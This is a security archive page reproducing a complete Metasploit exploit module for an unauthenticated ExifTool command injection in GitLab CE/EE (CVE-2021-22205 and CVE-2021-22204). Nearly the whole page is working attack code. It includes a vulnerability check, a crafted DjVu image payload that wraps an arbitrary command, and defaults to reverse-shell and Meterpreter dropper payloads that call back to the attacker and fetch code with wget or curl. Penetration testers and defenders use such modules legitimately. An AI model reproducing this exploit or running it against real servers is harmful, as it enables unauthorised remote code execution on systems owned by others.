what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

GitLab Unauthenticated Remote ExifTool Command Injection

GitLab Unauthenticated Remote ExifTool Command Injection
Posted Nov 4, 2021
Authored by William Bowling, jbaines-r7 | Site metasploit.com

This Metasploit module exploits an unauthenticated file upload and command injection vulnerability in GitLab Community Edition (CE) and Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6, and 13.8.8. Exploitation will result in command execution as the git user.

tags | exploit, file upload
advisories | CVE-2021-22204, CVE-2021-22205
SHA-256 | 674d3772ec48b70f0ba624c93a36ffde9a6d313b18359aa19702fc270257ff56

GitLab Unauthenticated Remote ExifTool Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLab Unauthenticated Remote ExifTool Command Injection',
'Description' => %q{
This module exploits an unauthenticated file upload and command
injection vulnerability in GitLab Community Edition (CE) and
Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6,
and 13.8.8.

Exploitation will result in command execution as the git user.
},
'License' => MSF_LICENSE,
'Author' => [
'William Bowling', # Vulnerability discovery and CVE-2021-22204 PoC
'jbaines-r7' # Metasploit module
],
'References' => [
[ 'CVE', '2021-22205' ], # GitLab
[ 'CVE', '2021-22204' ], # ExifTool
[ 'URL', 'https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/' ],
[ 'URL', 'https://hackerone.com/reports/1154542' ],
[ 'URL', 'https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis' ],
[ 'URL', 'https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/' ]
],
'DisclosureDate' => '2021-04-14',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'Space' => 290,
'DisableNops' => true,
'BadChars' => '#'
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'wget', 'lwprequest', 'curl', 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def upload_file(file_data, timeout = 20)
random_filename = "#{rand_text_alphanumeric(6..12)}.jpg"
multipart_form = Rex::MIME::Message.new
multipart_form.add_part(
file_data,
'image/jpeg',
'binary',
"form-data; name=\"file\"; filename=\"#{random_filename}\""
)

random_uri = normalize_uri(target_uri.path, rand_text_alphanumeric(6..12))
print_status("Uploading #{random_filename} to #{random_uri}")
send_request_cgi({
'method' => 'POST',
'uri' => random_uri,
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'data' => multipart_form.to_s
}, timeout)
end

def check
# Checks if the instance is a GitLab install by looking for the
# 'About GitLab' footer or a password redirect. If that's successful
# a bogus jpg image is uploaded to a bogus URI. The patched versions
# should never send the bad image to ExifTool, resulting in a 404.
# The unpatched versions should feed the image to the vulnerable
# ExifTool, resulting in a 422 error message.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/users/sign_in')
})

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

# handle two cases. First a normal install will respond with HTTP 200.
# Second, if the root password hasn't been set yet then this will
# redirect to the password reset page.
unless (res.code == 200 && res.body.include?('>About GitLab<')) ||
(res.code == 302 && res.body.include?('/users/password/edit?reset_password_token'))
return CheckCode::Safe('Not a GitLab web interface')
end

res = upload_file(rand_text_alphanumeric(6..32))
unless res
return CheckCode::Detected('The target did not respond to the upload request.')
end

case res.code
when 422
if res.body.include?('The change you requested was rejected.')
return CheckCode::Vulnerable('The error response indicates ExifTool was executed.')
end
when 404
if res.body.include?('The page could not be found')
return CheckCode::Safe('The error response indicates ExifTool was not run.')
end
end

return CheckCode::Detected
end

def execute_command(cmd, _opts = {})
# printf needs all '\' to be double escaped due to ExifTool parsing
if cmd.start_with?('printf ')
cmd = cmd.gsub('\\', '\\\\\\')
end

# header and trailer are taken from William Bowling's echo_vakzz.jpg from their original h1 disclosure.
# The 'cmd' variable is sandwiched in a qx## function.
payload_header = "AT&TFORM\x00\x00\x03\xAFDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00"\
"\x00\xAC\xFF\xFF\xDE\xBF\x99 !\xC8\x91N\xEB\f\a\x1F\xD2\xDA\x88\xE8k\xE6D\x0F,q\x02\xEEI\xD3n"\
"\x95\xBD\xA2\xC3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\b\x00\b\x18\x00d\x00\x16\x00IN"\
"CL\x00\x00\x00\x0Fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\b\x00\b\x8A\xE6\xE1"\
"\xB17\xD9\x7F*\x89\x00BG44\x00\x00\x00\x04\x01\x0F\xF9\x9FBG44\x00\x00\x00\x02\x02\nFORM\x00\x00"\
"\x03\aDJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx#"
payload_trailer = "# . \\\x0a\" b \") )" + (' ' * 421)

res = upload_file(payload_header + cmd + payload_trailer, 5)

# Successful exploitation can result in no response (connection being held open by a reverse shell)
# or, if the command executes immediately, a response with a 422.
if res && res.code != 422
fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")
end

print_good('Exploit successfully executed.')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# payload is truncated by exiftool after 290 bytes. Because we need to
# expand the printf flavor by a potential factor of 2, halve the linemax.
execute_cmdstager(linemax: 144)
end
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close